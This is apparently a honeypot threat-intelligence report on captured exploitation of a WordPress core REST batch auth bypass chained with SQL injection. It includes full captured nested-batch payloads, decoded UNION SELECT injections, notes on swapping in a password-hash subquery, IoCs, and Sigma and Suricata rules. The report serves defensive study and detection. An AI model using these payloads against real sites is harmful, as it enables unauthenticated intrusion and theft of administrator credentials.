- Honeypot
- Catching in the Wild
- Threat Intelligence
- CVE-2026-63030
- CVE-2026-60137
Catching wp2shell in the Wild: WordPress Pre-Auth RCE, Two Days After the Patch
We deployed a Beelzebub honeypot impersonating a vulnerable WordPress 7.0.1 instance and captured live wp2shell exploitation attempts, including UNION-based SQL injection payloads nested inside batch REST requests, less than 48 hours after the patch was released.
Mario Candela
Founder and maintainer
TL;DR
- wp2shell is the chain of CVE-2026-63030 (REST API batch-route confusion, CVSS 9.8) and CVE-2026-60137 (SQL injection in
WP_Query::author__not_in), enabling unauthenticated remote code execution on a default WordPress install with no plugins. - Patches landed on July 17, 2026 (6.8.6 / 6.9.5 / 7.0.2). Full technical details were published on July 20.
- Our Beelzebub honeypot, impersonating a WordPress 7.0.1 site, captured the first weaponized exploitation attempt on July 19, 2026 at 08:38 UTC, before the public technical breakdown and roughly 48 hours after the patch.
- The payloads are nested batch requests (a batch inside a batch) carrying UNION ALL SELECT injections through the
author_excludeREST parameter, with hex-encoded canary markers used to confirm exploitation. - One actor did not even bother to hide:
User-Agent: wp2shell/1.0. - Full Beelzebub configuration, decoded payloads, IoCs and detection rules are included below.
Background
On July 17, 2026, the WordPress security team shipped emergency releases 6.8.6, 6.9.5 and 7.0.2. Behind those releases sat two vulnerabilities that, chained together, gave an anonymous attacker code execution on a stock WordPress installation: no plugins, no themes, no authentication, no user interaction.
The chain was quickly nicknamed wp2shell. CERT-AgID issued an advisory urging immediate patching of Italian public-sector installations, and by July 20 multiple proof-of-concept exploits were circulating publicly.
WordPress powers a huge share of the web, and the vulnerable code path is in core, not in some abandoned plugin. That combination of enormous install base, default-configuration exploitability, and a public PoC is exactly the profile that produces internet-wide spray campaigns within hours.
We wanted to see what that spray actually looks like on the wire. So we pointed a Beelzebub honeypot at the problem, dressed it up as a freshly-installed, unpatched WordPress 7.0.1 blog, and waited.
We did not wait long.
The Vulnerability: wp2shell
The two halves of the chain
| CVE | Component | CVSS | Credit |
|---|---|---|---|
| CVE-2026-63030 | REST API batch route confusion | 9.8 | Adam Kues (Searchlight Cyber) |
| CVE-2026-60137 | SQL injection via author__not_in | 5.9 | TF1T, dtro, haongo |
Individually, neither is a clean kill. CVE-2026-60137 is a blind SQL injection: nothing comes back in the response body. CVE-2026-63030 is a routing bug that, on its own, mostly gets you access to endpoints you should not reach. Chained, they become a pre-authentication RCE.
Half one: batch route confusion (CVE-2026-63030)
WordPress 6.9 introduced the batch REST endpoint, /wp-json/batch/v1, which lets a client bundle multiple REST calls into a single HTTP request. The handler, WP_REST_Server::serve_batch_request_v1(), walks the submitted requests array and builds parallel arrays indexed by position: one for the parsed request objects, one for the validation/permission results.
The bug is a desynchronization of those parallel arrays. Submit a crafted entry, for example a malformed path that fails parsing early and is silently dropped from one array but not the other, and the indices drift apart. The result is that the permission check computed for request N gets applied to request N+1.
Feed it the right shape, and a request that should have been rejected with rest_forbidden is dispatched with the permission verdict belonging to a harmless neighbour.
In the payloads we captured, that desync is triggered with entries like:
{"method": "POST", "path": "http://:"}
{"method": "POST", "path": "///"}
A scheme-only URL (http://:) and a triple-slash path. Neither is a valid REST route. Both are there purely to knock the index alignment off by one.
Half two: SQL injection inWP_Query(CVE-2026-60137)
WP_Query accepts an author__not_in argument, which the REST layer exposes as the author_exclude query parameter. The sanitization logic assumed the value would always arrive as an array. The type check that guards the sanitization path is skipped when the value is a string, and the raw value is interpolated straight into the generated SQL.
So this:
GET /wp-json/wp/v2/posts?author_exclude[]=1 ← array, sanitized
GET /wp-json/wp/v2/posts?author_exclude=1)+AND+… ← string, injected
The 1) closes the generated WHERE post_author NOT IN (…) clause, and everything after it is attacker-controlled SQL.
Putting it together
- POST a batch request to
/wp-json/batch/v1(or/?rest_route=/batch/v1). - Include malformed entries to desync the parallel arrays and bypass the permission check (CVE-2026-63030).
- Inside the batch, call a
wp/v2collection endpoint with a stringauthor_excludecarrying SQL (CVE-2026-60137). - Extract the administrator password hash. In the weaponized variants, use
UNION SELECTto hydrate a forged post/user object directly from the injected result set. - Forge an administrator session, upload a plugin, and you have a shell.
Affected and patched versions
| Branch | Vulnerable | Fixed | Impact |
|---|---|---|---|
| 6.8.x | 6.8.0 to 6.8.5 | 6.8.6 | SQL injection component only |
| 6.9.x | 6.9.0 to 6.9.4 | 6.9.5 | Full pre-auth RCE chain |
| 7.0.x | 7.0.0 to 7.0.1 | 7.0.2 | Full pre-auth RCE chain |
The Honeypot Setup
To observe exploitation in the wild we needed a target that looks exactly like an unpatched WordPress 7.0.1, down to the response headers, the X-WP-Total counters, and the shape of the /wp-json/ discovery document. Attack tooling fingerprints hard before it fires, and a sloppy impersonation gets skipped.
Beelzebub’s HTTP protocol lets you define regex-matched routes with full control over body, headers and status code, which is all we needed.
| Port | Service | Impersonated version |
|---|---|---|
| 80/TCP | HTTP | WordPress 7.0.1 on Apache 2.4.58 / PHP 8.2.20 |
Design notes
A few decisions mattered more than the rest:
- The discovery document is the hook. Almost every scanner starts at
/wp-json/or/?rest_route=/. Our response advertises thebatch/v1namespace and lists/batch/v1as aPOSTroute, which is what tells the tooling the target is worth attacking. readme.htmlmust agree. WordPress ships areadme.htmlthat states the version in plain text. Scanners cross-check it against the<meta name="generator">tag. A mismatch is a tell.- Headers are part of the fingerprint.
X-Robots-Tag: noindex,X-Content-Type-Options: nosniff,Allow:and theLink: </wp-json/>; rel="https://api.w.org/"header are all emitted by real WordPress REST responses. - The batch endpoint answers
200, not401. If the honeypot rejects the batch request, the attacker stops. By returning a well-formed, empty batch response we keep them talking, and we capture the entire payload, including the nested second stage. - Both routing styles are covered. WordPress serves the REST API at
/wp-json/…with pretty permalinks and at/?rest_route=/…without them. Real-world tooling tries both, so both are matched.
Beelzebub configuration
apiVersion: "v1"
protocol: "http"
address: ":80"
description: "WordPress 7.0.1 - Honeypot CVE-2026-63030 (REST batch route confusion + author__not_in SQLi)"
commands:
- regex: "^/$"
handler: |
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="generator" content="WordPress 7.0.1">
<link rel="https://api.w.org/" href="/wp-json/">
<title>Corporate Blog – Just another WordPress site</title>
</head>
<body class="home blog wp-theme-twentytwentyfive">
<header><h1>Corporate Blog</h1></header>
<main><article><h2>Hello world!</h2><p>Welcome to WordPress.</p></article></main>
</body>
</html>
headers:
- "Content-Type: text/html; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
- "Link: </wp-json/>; rel=\"https://api.w.org/\""
statusCode: 200
- regex: "^/readme.html.*$"
handler: |
<!DOCTYPE html>
<html><head><title>WordPress › ReadMe</title></head>
<body>
<h1>WordPress</h1>
<p>Semantic Personal Publishing Platform</p>
<h2>Version 7.0.1</h2>
</body></html>
headers:
- "Content-Type: text/html; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
statusCode: 200
- regex: "^/wp-json/?$"
handler: |
{
"name": "Corporate Blog",
"description": "Just another WordPress site",
"url": "http://blog.example.com",
"home": "http://blog.example.com",
"gmt_offset": 0,
"timezone_string": "",
"namespaces": ["oembed/1.0", "wp/v2", "wp-site-health/v1", "batch/v1"],
"authentication": {
"application-passwords": {
"endpoints": {
"authorization": "http://blog.example.com/wp-admin/authorize-application.php"
}
}
},
"routes": {
"/": {"namespace": "", "methods": ["GET"]},
"/batch/v1": {"namespace": "batch/v1", "methods": ["POST"]},
"/wp/v2/posts": {"namespace": "wp/v2", "methods": ["GET", "POST"]},
"/wp/v2/users": {"namespace": "wp/v2", "methods": ["GET", "POST"]}
},
"_links": {
"help": [{"href": "https://developer.wordpress.org/rest-api/"}]
}
}
headers:
- "Content-Type: application/json; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
- "X-Robots-Tag: noindex"
- "X-Content-Type-Options: nosniff"
- "Allow: GET"
statusCode: 200
- regex: "^/wp-json/batch/v1.*$"
handler: |
{
"responses": [
{
"status": 200,
"headers": {"Content-Type": "application/json; charset=UTF-8"},
"body": []
}
],
"failed": null
}
headers:
- "Content-Type: application/json; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
- "X-Robots-Tag: noindex"
- "X-Content-Type-Options: nosniff"
- "Allow: POST"
statusCode: 200
- regex: "^/index.php.*batch/v1.*$"
handler: |
{"responses": [{"status": 200, "headers": {}, "body": []}], "failed": null}
headers:
- "Content-Type: application/json; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
statusCode: 200
- regex: "^/wp-json/wp/v2/posts.*$"
handler: |
[
{
"id": 1,
"date": "2026-06-01T09:00:00",
"slug": "hello-world",
"status": "publish",
"type": "post",
"title": {"rendered": "Hello world!"},
"content": {"rendered": "<p>Welcome to WordPress.</p>", "protected": false},
"author": 1,
"_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/posts/1"}]}
}
]
headers:
- "Content-Type: application/json; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
- "X-WP-Total: 1"
- "X-WP-TotalPages: 1"
- "X-Robots-Tag: noindex"
- "Allow: GET, POST"
statusCode: 200
- regex: "^/wp-json/wp/v2/users.*$"
handler: |
[
{
"id": 1,
"name": "admin",
"slug": "admin",
"_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/users/1"}]}
}
]
headers:
- "Content-Type: application/json; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
- "X-WP-Total: 1"
- "X-WP-TotalPages: 1"
statusCode: 200
- regex: "^/wp-login.php.*$"
handler: |
<!DOCTYPE html>
<html><head><title>Log In › Corporate Blog</title></head>
<body class="login">
<form name="loginform" id="loginform" action="/wp-login.php" method="post">
<p><label>Username or Email Address<br>
<input type="text" name="log" class="input"></label></p>
<p><label>Password<br>
<input type="password" name="pwd" class="input"></label></p>
<p class="submit"><input type="submit" name="wp-submit" value="Log In"></p>
</form>
</body></html>
headers:
- "Content-Type: text/html; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
statusCode: 200
- regex: "^.*$"
handler: |
<!DOCTYPE html>
<html lang="en-US">
<head><meta charset="UTF-8"><title>Page not found – Corporate Blog</title></head>
<body class="error404"><h1>Oops! That page can’t be found.</h1></body>
</html>
headers:
- "Content-Type: text/html; charset=UTF-8"
- "Server: Apache/2.4.58 (Ubuntu)"
- "X-Powered-By: PHP/8.2.20"
statusCode: 404
Exploitation Attempts Captured
Timeline
Jul 17, 2026 → WordPress 6.8.6 / 6.9.5 / 7.0.2 released. Advisory published,
technical details deliberately withheld.
↓
Jul 17, 2026 → First reconnaissance hits on the honeypot:
GET /wp-json/batch/v1 from 62.113.210[.]14 (23M Cloud, DE),
within hours of the advisory.
↓
Jul 19, 2026 → 08:38:59 UTC, first fully weaponized exploitation attempt.
UNION-based SQLi nested inside a batch request.
↓
Jul 20, 2026 → Searchlight Cyber publishes the full technical breakdown.
Public PoCs proliferate.
↓
Jul 20-22 → Sustained, multi-source scanning and exploitation.
The gap that matters is between line 2 and line 4. Someone had a working exploit chain a full day before the public technical write-up, and was already spraying it at random internet hosts. Either they reverse-engineered the patch diff, entirely feasible for a bug of this shape, or the exploit was circulating privately.
Phase 1: Discovery
Almost every session opened the same way, probing both REST routing styles to determine whether pretty permalinks were enabled:
31.58.244.30 GET /?rest_route=/
31.58.244.30 GET /wp-json/
31.58.244.30 GET /?rest_route=/
178.83.123.99 GET /?rest_route=/
15.204.64.31 GET /wp-json/
15.204.64.31 GET /?rest_route=/
204.77.130.140 GET /wp-json/
204.77.130.140 GET /?rest_route=/
What the tooling is looking for in the response is a single string: batch/v1 in the namespaces array. Our honeypot advertises it, so the scanners escalate.
A separate probe from 91.92.47.229 went for classic author enumeration:
91.92.47.229 GET /wp-json/wp/v2/users
This is not part of wp2shell; it is the pre-existing WordPress user-enumeration behaviour. It is still a useful reminder that the same hosts running the new exploit are also sweeping for the old ones.
Phase 2: Weaponized exploitation
The first real payload arrived on July 19 at 08:38:59 UTC from 205.185.126.29, with a User-Agent that leaves nothing to the imagination:
{
"DateTime": "2026-07-19T08:38:59.758912867Z",
"RemoteAddr": "205.185.126.29:39216",
"Protocol": "HTTP",
"Command": "POST /?rest_route=/batch/v1",
"UserAgent": "wp2shell/1.0",
"HeadersMap": {
"Content-Type": ["application/json"],
"Content-Length": ["841"],
"Accept-Encoding": ["gzip"],
"User-Agent": ["wp2shell/1.0"]
}
}
User-Agent: wp2shell/1.0. No spoofed browser string, no attempt to blend in. This is opportunistic mass scanning where volume matters more than stealth.
The request body is where it gets interesting. It carries a batch nested inside a batch:
{
"requests": [
{ "method": "POST", "path": "http://:" },
{
"body": {
"requests": [
{ "method": "GET", "path": "http://:" },
{
"method": "GET",
"path": "/wp/v2/widgets?_fields=id,slug,title,content,guid&author_exclude=<SQLi>&context=view&orderby=none&page=-1&per_page=-1"
}
]
}
}
]
}
Three things to notice:
"path": "http://:"is a scheme-only URL. It is not a valid route; its only job is to fail parsing in a way that desynchronizes the parallel arrays insideserve_batch_request_v1().- The nested
body.requestsmakes the batch handler run recursively, and the inner batch inherits the corrupted permission context from the outer one. page=-1&per_page=-1is negative pagination, used to forceWP_Querydown a code path that reaches the vulnerableLIMIT/WHEREconstruction.
Note the target: /wp/v2/widgets, not /wp/v2/posts. The widgets endpoint normally requires edit_theme_options, so it is only reachable if the auth bypass worked. Using it as the injection sink turns the request into a combined bypass-and-injection test in a single shot.
Decoding the SQL injection
URL-decoded, the author_exclude value is:
1) AND 1=0 UNION ALL SELECT
1922721457,
1,
0x323032302d30312d30312030303a30303a3030,
0x323032302d30312d30312030303a30303a3030,
'', '', '',
0x7075626c697368,
0x636c6f736564,
0x636c6f736564,
'',
COALESCE((SELECT 0x633934353034373633393239), ''),
'', '',
0x323032302d30312d30312030303a30303a3030,
0x323032302d30312d30312030303a30303a3030,
'', 0, '', 0,
0x706f7374,
'', 0
-- -
Every hex constant decodes to a value that makes the forged row look like a legitimate wp_posts record:
| Hex | Decoded | Column purpose |
|---|---|---|
0x323032302d30312d30312030303a30303a3030 | 2020-01-01 00:00:00 | post_date, post_modified |
0x7075626c697368 | publish | post_status |
0x636c6f736564 | closed | comment_status, ping_status |
0x706f7374 | post | post_type |
0x633934353034373633393239 | c94504763929 | canary marker |
The mechanics are worth spelling out:
AND 1=0suppresses every genuine row, so the response contains only the attacker’s forged row.- The column count and types are matched exactly to
wp_posts. This is not a blind probe: whoever wrote it knew the schema and the hydration path. - Hex literals instead of quoted strings sidestep quote-based WAF signatures and any magic-quote-style escaping.
COALESCE((SELECT 0x633934353034373633393239), '')is the payload slot. In this run it carries the random canaryc94504763929; in a real extraction run that subquery becomesSELECT user_pass FROM wp_users WHERE ID=1.-- -comments out the rest of the generated query. The trailing-after the double dash guards against whitespace normalization eating the required space.
Because the forged row is hydrated into a WP_Post object and rendered back through the REST serializer, the canary comes out in the response body. That is the crucial upgrade: it converts CVE-2026-60137 from a slow blind, time-based injection into a fast, direct-output one. Extracting an admin hash goes from thousands of timed requests to a single HTTP call.
A second variant
A different payload, seen from 204.77.130.140, targets /wp/v2/posts/999999, a deliberately non-existent post ID, so the genuine result set is empty by construction rather than by AND 1=0:
0) UNION SELECT
999999, 2,
0x323032302d30312d30312030303a30303a3030,
0x323032302d30312d30312030303a30303a3030,
5,
CONCAT(0x7c7c, HEX(CAST((SELECT 0x4f4b) AS CHAR)), 0x7c7c),
7,
0x7075626c697368,
9, 10, 11, 12, 13, 14,
0x323032302d30312d30312030303a30303a3030,
0x323032302d30312d30312030303a30303a3030,
17, 18, 19, 20,
0x706f7374,
22, 23
-- -
Here 0x7c7c is || and 0x4f4b is OK, so the marker rendered into post_content is ||4F4B||, the hex of OK fenced between double pipes.
The CONCAT(0x7c7c, HEX(CAST(… AS CHAR)), 0x7c7c) wrapper is the tell of a generic extraction harness, not a hand-written one-off:
- the
||…||delimiters let a parser locate the exfiltrated value in an arbitrary HTML/JSON response; HEX(CAST(… AS CHAR))guarantees the extracted data is binary-safe: no encoding corruption, no characters that break out of JSON, no charset surprises when pulling password hashes or serialized blobs.
Swap (SELECT 0x4f4b) for (SELECT user_pass FROM wp_users LIMIT 1) and the same harness dumps credentials. The OK is just the self-test.
The two payloads use different column counts and different placeholder styles (hex-padded strings vs. bare integers), which points to at least two independent exploit implementations already in circulation on July 19 and 20.
Full chain observed from a single host
204.77.130.140 ran the complete sequence, repeatedly:
204.77.130.140 GET /wp-json/
204.77.130.140 GET /?rest_route=/
204.77.130.140 GET /wp-json/
204.77.130.140 GET /?rest_route=/
204.77.130.140 POST /wp-json/batch/v1
{"requests": [{"method": "POST", "path": "///"},
{"method": "POST", "path": "/wp/v2/posts",
"body": {"requests": [{"method": "POST", "path": "///"},
{"method": "GET", "path": "/wp/v2/users?author_excl…
204.77.130.140 GET /wp-json/
204.77.130.140 GET /?rest_route=/
The re-verification of /wp-json/ after the exploit attempt is characteristic of automated tooling checking whether the target state changed: did a new user appear, did the namespace list shift. It is a crude success oracle bolted onto the scanner loop.
Note also the desync entry here is "path": "///" rather than "http://:", a third variation on the same trick and further evidence of multiple independent implementations.
Threat Actor Infrastructure
| Source IP | Network / Org | ASN | Country | Observed behaviour |
|---|---|---|---|---|
205.185.126[.]29 | FranTech Solutions (PONYNET) | AS53667 | US | Full SQLi payload, UA: wp2shell/1.0 |
204.77.130[.]140 | JIULING | n/a | US | Full chain, repeated, second SQLi variant |
31.58.244[.]30 | CloudBackbone / CGI Global | AS56971 | NL / HK | Sustained REST discovery |
178.83.123[.]99 | Megahost Kazakhstan TOO | AS208450 | KZ | REST discovery |
15.204.64[.]31 | OVH US LLC | AS16276 | US | REST discovery |
91.92.47[.]229 | TechTies Inc. | AS197170 | NL / SC | User enumeration (/wp/v2/users) |
62.113.210[.]14 | 23M Cloud | AS47447 | DE | Earliest probe of /wp-json/batch/v1 |
The profile is consistent and unsurprising: bulletproof-adjacent and budget VPS providers, spread across US, NL, DE, KZ and HK jurisdictions. FranTech/PONYNET (BuyVM) and 23M Cloud are long-standing fixtures in abuse datasets. None of this is APT infrastructure; it is rented, disposable capacity being used for internet-wide spray.
There is no residential or Tor traffic in the set. That reinforces the read: this is opportunistic mass exploitation looking for volume, not targeted intrusion.
Indicators of Compromise (IoCs)
Network IoCs
# Source IPs (observed July 17-22, 2026)
205.185.126.29
204.77.130.140
31.58.244.30
178.83.123.99
15.204.64.31
91.92.47.229
62.113.210.14
# ASNs with elevated wp2shell scanning activity
AS53667 (FranTech Solutions / PONYNET)
AS56971 (CloudBackbone)
AS208450 (Megahost Kazakhstan)
AS47447 (23M Cloud)
AS197170 (TechTies Inc.)
# User-Agent
wp2shell/1.0
# Request patterns
POST /wp-json/batch/v1
POST /?rest_route=/batch/v1
POST /index.php?rest_route=/batch/v1
Payload signatures
# Batch array desync markers (path values that are not valid routes)
"path": "http://:"
"path": "///"
"path": "http:///"
# Nested batch (a "requests" key inside a request "body")
"body":{"requests":[
# String-typed author_exclude carrying SQL
author_exclude=1)
author_exclude=0)
author_exclude=%29
author__not_in=
# UNION-based injection markers
UNION+ALL+SELECT
UNION+SELECT
0x7075626c697368 # 'publish'
0x706f7374 # 'post'
0x636c6f736564 # 'closed'
0x7c7c # '||' extraction delimiter
HEX(CAST(
COALESCE((SELECT
# Negative pagination forcing the vulnerable query path
page=-1&per_page=-1
Post-compromise host IoCs
# Check for these on any WordPress 6.8.0-7.0.1 install that was internet-facing
- Administrator accounts created after 2026-07-17
- wp_users rows with recent user_registered and role=administrator
- New or modified PHP files under wp-content/uploads/
- Newly installed or activated plugins with no matching admin audit trail
- Modified wp-config.php
- Unexpected entries in wp_options: 'active_plugins', 'cron'
Detection Rule (Sigma)
title: WordPress wp2shell Exploitation Attempt (CVE-2026-63030 / CVE-2026-60137)
id: 7f3c1a92-4d8e-4b21-9c65-1e0a7b4d2f88
status: experimental
description: >
Detects exploitation attempts of the wp2shell chain, combining REST batch
route confusion with SQL injection through the author_exclude parameter.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-63030
- https://nvd.nist.gov/vuln/detail/CVE-2026-60137
- https://cert-agid.gov.it/news/wp2shell-vulnerabilita-critiche-nel-core-di-wordpress-necessario-aggiornare-i-sistemi/
logsource:
category: webserver
detection:
selection_batch:
cs-uri-stem|contains:
- '/wp-json/batch/v1'
- 'rest_route=/batch/v1'
selection_sqli:
cs-uri-query|contains:
- 'author_exclude=1)'
- 'author_exclude=0)'
- 'author_exclude=%29'
- 'author__not_in='
selection_union:
cs-uri-query|contains:
- 'UNION ALL SELECT'
- 'UNION SELECT'
- '0x7075626c697368'
- '0x706f7374'
selection_ua:
cs-user-agent|contains: 'wp2shell'
condition: selection_ua or selection_batch or (selection_sqli and selection_union)
falsepositives:
- Legitimate use of the batch REST endpoint by authenticated block-editor sessions
(these will carry a valid nonce and an authenticated cookie)
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.credential_access
- attack.t1212
- cve.2026.63030
- cve.2026.60137
Suricata Rule
alert http any any -> $HOME_NET any (msg:"wp2shell batch endpoint exploitation attempt (CVE-2026-63030)";
flow:established,to_server; http.method; content:"POST";
http.uri; content:"batch/v1"; nocase;
http.request_body; content:"|22|requests|22|"; content:"|22|body|22|"; distance:0;
classtype:web-application-attack; sid:2026063030; rev:1;)
alert http any any -> $HOME_NET any (msg:"wp2shell author_exclude SQL injection (CVE-2026-60137)";
flow:established,to_server;
http.uri; content:"author_exclude"; nocase;
pcre:"/author_exclude=[^&\[]*(\)|%29)/i";
classtype:web-application-attack; sid:2026060137; rev:1;)
alert http any any -> $HOME_NET any (msg:"wp2shell scanner user-agent";
flow:established,to_server;
http.user_agent; content:"wp2shell"; nocase;
classtype:web-application-attack; sid:2026063031; rev:1;)
Note the pcre in the second rule: it deliberately excludes author_exclude[, because the array form is the legitimate one. Only the string form is exploitable, and that distinction is what keeps the rule from drowning in false positives.
Key Findings
1. Weaponization outran disclosure
The advisory withheld technical details on July 17 precisely to buy defenders time. It bought them less than 48 hours. A working, column-matched, schema-aware UNION SELECT chain was hitting our honeypot on July 19, a day before the public write-up.
For a bug of this class the patch diff is the exploit spec. Withholding details slows down the low end of the attacker distribution and does essentially nothing to the top end.
2. Blind became non-blind
The advisory characterises CVE-2026-60137 as a blind SQL injection, and defenders reasonably calibrated their urgency to that: blind extraction is slow, noisy, and easy to rate-limit.
The captured payloads bypass that entirely. By forging a complete wp_posts row and letting WordPress hydrate and serialize it back through the REST API, the attacker gets direct output. Thousands of timed requests collapse into one. Any mitigation that assumed a slow time-based oracle, such as request rate limits or timing anomaly detection, was calibrated against the wrong threat model.
3. Multiple independent implementations, immediately
We observed three different desync markers (http://:, ///, plus routing variants) and two structurally different injection payloads with different column counts. That is not one PoC being copy-pasted; that is several teams building independently in the same 72-hour window.
4. The auth bypass was tested via a privileged endpoint
Injecting into /wp/v2/widgets rather than /wp/v2/posts is a small detail with a large implication. widgets requires edit_theme_options; an unauthenticated request to it should return 401. Using it as the sink means a single request proves both halves of the chain at once. That is exploit-engineering discipline, not spray-and-pray.
5. Honeypot fidelity is what buys the data
Every session in our dataset began with a fingerprinting request. Had the honeypot returned a 401 on /wp-json/batch/v1, or omitted batch/v1 from the namespace list, or shipped a readme.html that disagreed with the generator meta tag, the scanners would have moved on and we would have captured only reconnaissance noise, never the second-stage payloads.
The payload is the whole point. Getting it requires being convincing enough that the attacker commits.
Recommendations
If you run WordPress
- Patch now. 6.8.6, 6.9.5 or 7.0.2. There is no partial mitigation that is as good as the patch.
- Assume compromise on any internet-facing 6.9.x/7.0.x install that was unpatched after July 17. Public exploitation was underway within two days; “we patched on the 21st” is not a clean bill of health.
- Hunt for the aftermath, not just the attempt: administrator accounts created after July 17, new PHP files in
wp-content/uploads/, unexplained plugin activations, modifiedwp-config.php. - Rotate everything if you find anything: all admin passwords, all application passwords, the
wp-config.phpsalts, and any database credentials.
If you cannot patch immediately
- Block
/wp-json/batch/v1and?rest_route=/batch/v1at the WAF or reverse proxy. Batch is used by the block editor; blocking it degrades the admin experience but does not break the public site. - Reject string-typed
author_exclude. Onlyauthor_exclude[]=(array form) is legitimate. This is a precise, low-false-positive filter. - Reject nested batches. A
requestskey inside a requestbodyhas no legitimate use. - Require authentication on the REST API for anonymous users where feasible.
If you defend a fleet
- Deploy the Sigma and Suricata rules above and backfill them against logs from July 17 onward. If the exploit ran before you were watching, the logs are the only place the evidence still lives.
- Deploy honeypots. A Beelzebub instance impersonating a vulnerable version gives you exploitation telemetry from your own perimeter, with zero false positives, because nothing legitimate ever talks to it.
- Monitor the ASNs listed above. They are not exclusively malicious, but during an active spray campaign they are a high-signal prioritization input.
Conclusion
wp2shell is the modern vulnerability lifecycle compressed into a week: patch on Friday, weaponized exploitation by Sunday, public PoC by Monday, internet-wide spray by Tuesday. The 48-hour window between “details withheld” and “working exploit in the wild” is the number defenders should internalize.
Two details from the honeypot data deserve to outlive the news cycle.
The first is that a documented “blind” injection turned out not to be blind. The advisory’s characterization was accurate about the vulnerability and wrong about the exploit, because attackers found a hydration path that returns the data directly. Threat models built on advisory language age badly.
The second is that the fidelity of the deception determines the quality of the intelligence. A honeypot that returns 401 on the interesting endpoint collects scanner noise. One that answers 200 with a well-formed empty batch response collects the payload, the extraction harness design, the canary format, and the fingerprint of multiple independent exploit implementations.
Deception is not passive. Done properly, it is the cheapest offensive-intelligence collection available to a defender.
References
- CERT-AgID: wp2shell, vulnerabilità critiche nel core di WordPress
- CVE-2026-63030 on NVD
- CVE-2026-60137 on NVD
- Tenable: wp2shell FAQ
- Escape: wp2shell technical analysis
- NetSPI: WordPress Core Pre-Authentication RCE overview
- BleepingComputer: WordPress Core “wp2shell” RCE flaws get public exploits
- The Hacker News: New wp2shell WordPress Core flaw
- Beelzebub Honeypot Framework